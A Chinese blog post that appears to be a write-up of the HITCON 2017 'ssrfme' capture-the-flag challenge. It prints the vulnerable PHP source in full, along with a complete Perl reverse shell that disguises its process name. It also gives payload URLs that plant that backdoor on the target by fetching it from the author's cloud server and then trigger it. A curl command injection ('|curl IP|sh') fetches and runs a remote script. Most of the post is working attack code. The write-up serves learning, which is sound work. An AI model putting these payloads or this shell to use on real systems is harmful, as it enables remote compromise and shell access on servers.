记一次对ssrf的理解

ssrf真好玩

今天在i春秋上看到了一道hit con 2017的题目,虽然没搞出来,但是感觉还是学到了

首先给了源码

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);

源码是什么意思呢?说实话,我也不太懂,看起来大致意思就是在sandbox文件夹下请求远端地址,然后执行get请求,结合题目的ssrfme,可以大致判断这个题应该是ssrf,先判断一下到底是不是ssrf,先打一下试试

打一下

打出来了就是ssrf,打不出来就不是了

但是知道是ssrf有什么用呢?不知道怎么搞也是白搭,看了师傅们的writeup,觉得还是思路挺猥琐的,想到了反弹shell的那么多中方式,但是坑太多,慢慢踩吧,说偏了,回归正题

按照师傅们的思路先走一边,找个perl后门

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#!/usr/bin/perl -w
# perl-reverse-shell - A Reverse Shell implementation in PERL
use strict;
use Socket;
use FileHandle;
use POSIX;
my $VERSION = "1.0";

# Where to send the reverse shell. Change these.
my $ip = '127.0.0.1';
my $port = 1234;

# Options
my $daemon = 1;
my $auth = 0; # 0 means authentication is disabled and any
# source IP can access the reverse shell
my $authorised_client_pattern = qr(^127\.0\.0\.1$);

# Declarations
my $global_page = "";
my $fake_process_name = "/usr/sbin/apache";

# Change the process name to be less conspicious
$0 = "[httpd]";

# Authenticate based on source IP address if required
if (defined($ENV{'REMOTE_ADDR'})) {
cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");

if ($auth) {
unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
cgiprint("ERROR: Your client isn't authorised to view this page");
cgiexit();
}
}
} elsif ($auth) {
cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address. Denying access");
cgiexit(0);
}

# Background and dissociate from parent process if required
if ($daemon) {
my $pid = fork();
if ($pid) {
cgiexit(0); # parent exits
}

setsid();
chdir('/');
umask(0);
}

# Make TCP connection for reverse shell
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
cgiprint("Sent reverse shell to $ip:$port");
cgiprintpage();
} else {
cgiprint("Couldn't open reverse shell to $ip:$port: $!");
cgiexit();
}

# Redirect STDIN, STDOUT and STDERR to the TCP connection
open(STDIN, ">&SOCK");
open(STDOUT,">&SOCK");
open(STDERR,">&SOCK");
$ENV{'HISTFILE'} = '/dev/null';
system("w;uname -a;id;pwd");
exec({"/bin/sh"} ($fake_process_name, "-i"));

# Wrapper around print
sub cgiprint {
my $line = shift;
$line .= "<p>\n";
$global_page .= $line;
}

# Wrapper around exit
sub cgiexit {
cgiprintpage();
exit 0; # 0 to ensure we don't give a 500 response.
}

# Form HTTP response using all the messages gathered by cgiprint so far
sub cgiprintpage {
print "Content-Length: " . length($global_page) . "\r Connection: close\r Content-Type: text\/html\r\n\r\n" . $global_page;
}

然后把my $ip那块改为自己阿里云的IP,然后将文件写入靶机的服务器,payload如下:

http://117.50.3.97:8004/?filename=URI/listen.pm&url=http://你的阿里云的IP/backdoor.txt

这样就在靶机网站上新建了一个URI目录,目录下有listen.pm文件(注意不要用数字开头的文件,用数字开头的不会执行),文件内容为我们的backdoor

在阿里云上监听1234端口

端口

再执行一个payload,shell就反弹回来了

http://117.50.3.97:8004/?filename=xxx&url=listen://1isten.xyz

这里访问listen://1isten.xyz时,listen是未定义模块,所以会自动搜索并加载URI中的listen.pm 模块。

反弹

shell是反弹回来了,但是权限不够,看不了没有看flag的权限

也可以通过外国友人的脚本,先写一个sh文件反弹shell,然后执行payload

1
2
curl 'http://117.50.3.97:8004/?url=a&filename=|curl+你的阿里云IP|sh';
curl 'http://117.50.3.97:8004/?url=file:|curl+你的阿里云IP|sh'

这个时候你就会看到,有趣的事情来了

惊喜

惊不惊喜?意不意外?

原文大部分内容借鉴momomo师傅的博客:http://momomoxiaoxi.com/2017/11/08/HITCON/